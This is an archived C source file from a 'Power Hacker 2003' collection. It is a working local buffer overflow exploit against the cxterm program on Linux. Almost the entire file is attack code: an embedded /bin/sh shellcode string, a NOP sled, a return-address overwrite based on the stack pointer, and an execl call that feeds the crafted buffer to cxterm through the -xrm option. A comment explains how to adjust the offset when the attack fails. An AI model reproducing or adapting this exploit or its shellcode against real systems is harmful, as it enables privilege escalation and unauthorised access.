home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / cxterm.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  2KB  |  68 lines

  1. /*
  2.  
  3.    cxterm buffer overflow exploit for Linux.  This code is tested on
  4. both Slackware 3.1 and 3.2.
  5.  
  6.                                         Ming Zhang
  7.                                         mzhang@softcom.net
  8. */
  9. #include <unistd.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <fcntl.h>
  13.  
  14. #define CXTERM_PATH "/usr/X11R6/bin/cxterm"
  15. #define BUFFER_SIZE 1024
  16. #define DEFAULT_OFFSET 50
  17.  
  18. #define NOP_SIZE 1
  19. char nop[] = "\x90";
  20. char shellcode[] =
  21.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  22.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  23.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  24.  
  25. unsigned long get_sp(void) {
  26.    __asm__("movl %esp,%eax");
  27. }
  28.  
  29. void main(int argc,char **argv)
  30. {
  31.    char *buff = NULL;
  32.    unsigned long *addr_ptr = NULL;
  33.    char *ptr = NULL;
  34.    int i,OffSet = DEFAULT_OFFSET;
  35.  
  36. /* use a different offset if you find this program doesn't do the job */
  37.    if (argc>1) OffSet = atoi(argv[1]);
  38.  
  39.    buff = malloc(2048);
  40.    if(!buff)
  41.    {
  42.       printf("Buy more RAM!\n");
  43.       exit(0);
  44.    }
  45.    ptr = buff;
  46.  
  47.    for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
  48. i+=NOP_SIZE) {
  49.         memcpy (ptr,nop,NOP_SIZE);
  50.         ptr+=NOP_SIZE;
  51.    }
  52.  
  53.    for(i=0;i < strlen(shellcode);i++)
  54.       *(ptr++) = shellcode[i];
  55.  
  56.    addr_ptr = (long *)ptr;
  57.    for(i=0;i < (8/4);i++)
  58.       *(addr_ptr++) = get_sp() + OffSet;
  59.    ptr = (char *)addr_ptr;
  60.    *ptr = 0;
  61.    (void) fprintf(stderr,
  62.          "This bug is discovered by Ming Zhang
  63. (mzhang@softcom.net)\n");
  64.     /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
  65.     execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
  66. }
  67.  
  68.